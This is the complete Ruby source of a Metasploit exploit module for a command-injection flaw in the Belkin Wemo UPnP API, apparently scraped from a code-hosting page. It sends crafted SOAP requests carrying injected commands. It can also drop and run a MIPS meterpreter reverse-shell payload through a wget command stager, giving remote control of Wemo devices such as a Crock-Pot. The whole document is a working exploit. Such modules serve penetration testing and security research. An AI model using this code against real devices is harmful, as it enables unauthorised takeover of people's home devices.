1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 |
V## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super(update_info(info, 'Name' => 'Belkin Wemo UPnP Remote Code Execution', 'Description'=> %q{ This module exploits a command injection in the Belkin Wemo UPnP API via the SmartDevURL argument to the SetSmartDevInfo action. This module has been tested on a Wemo-enabled Crock-Pot, but other Wemo devices are known to be affected, albeit on a different RPORT (49153). }, 'Author' => [ 'phikshun', # Discovery, UFuzz, and modules 'wvu' # Crock-Pot testing and module ], 'References' => [ ['URL', 'https://web.archive.org/web/20150901094849/http://disconnected.io/2014/04/04/universal-plug-and-fuzz/'], ['URL', 'https://github.com/phikshun/ufuzz'], ['URL', 'https://gist.github.com/phikshun/10900566'], ['URL', 'https://gist.github.com/phikshun/9984624'], ['URL', 'https://www.crock-pot.com/wemo-landing-page.html'], ['URL', 'https://www.belkin.com/us/support-article?articleNum=101177'], ['URL', 'http://www.wemo.com/'] ], 'DisclosureDate' => '2014-04-04', 'License'=> MSF_LICENSE, 'Platform' => ['unix', 'linux'], 'Arch' => [ARCH_CMD, ARCH_MIPSLE], 'Privileged' => true, 'Targets'=> [ ['Unix In-Memory', 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_memory, 'DefaultOptions' => { 'PAYLOAD'=> 'cmd/unix/generic' } ], ['Linux Dropper', 'Platform' => 'linux', 'Arch' => ARCH_MIPSLE, 'Type' => :linux_dropper, 'DefaultOptions' => { 'PAYLOAD'=> 'linux/mipsle/meterpreter_reverse_tcp' } ] ], 'DefaultTarget'=> 1, 'Notes'=> { 'Stability'=> [CRASH_SAFE], 'SideEffects'=> [ARTIFACTS_ON_DISK] } )) register_options([ Opt::RPORT(49152) ]) register_advanced_options([ OptBool.new('ForceExploit',[true, 'Override check result', false]), OptString.new('WritableDir', [true, 'Writable directory', '/tmp']) ]) end def check res = send_request_cgi( 'method' => 'GET', 'uri'=> '/setup.xml' ) if res && res.code == 200 && res.body.include?('urn:Belkin:device:') vprint_good('Wemo-enabled device detected') return CheckCode::Appears end CheckCode::Safe end def exploit checkcode = check unless checkcode == CheckCode::Appears || datastore['ForceExploit'] fail_with(Failure::NotVulnerable, 'Set ForceExploit to override') end case target['Type'] when :unix_memory execute_command(payload.encoded) when :linux_dropper cmdstager = generate_cmdstager( flavor: 'wget', temp: datastore['WritableDir'], file: File.basename(cmdstager_path), noconcat: true ) # HACK: "chmod +x" cmdstager.unshift("cp /bin/sh #{cmdstager_path}") cmdstager.delete_if { |cmd| cmd.start_with?('chmod +x') } cmdstager = cmdstager.join(';') vprint_status("Regenerated command stager: #{cmdstager}") execute_command(cmdstager) end end def execute_command(cmd, opts = {}) send_request_cgi( 'method' => 'POST', 'uri'=> '/upnp/control/basicevent1', 'ctype'=> 'text/xml', 'headers'=> { 'SOAPACTION' => '"urn:Belkin:service:basicevent:1#SetSmartDevInfo"' }, 'data' => generate_soap_xml(cmd) ) end def generate_soap_xml(cmd) <<EOF <?xml version="1.0" encoding="utf-8"?> <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <s:Body> <u:SetSmartDevInfo xmlns:u="urn:Belkin:service:basicevent:1"> <SmartDevURL><code>#{cmd}</code></SmartDevURL> </u:SetSmartDevInfo> </s:Body> </s:Envelope> EOF end def cmdstager_path @cmdstager_path ||= "#{datastore['WritableDir']}/#{rand_text_alphanumeric(8..42)}" end end |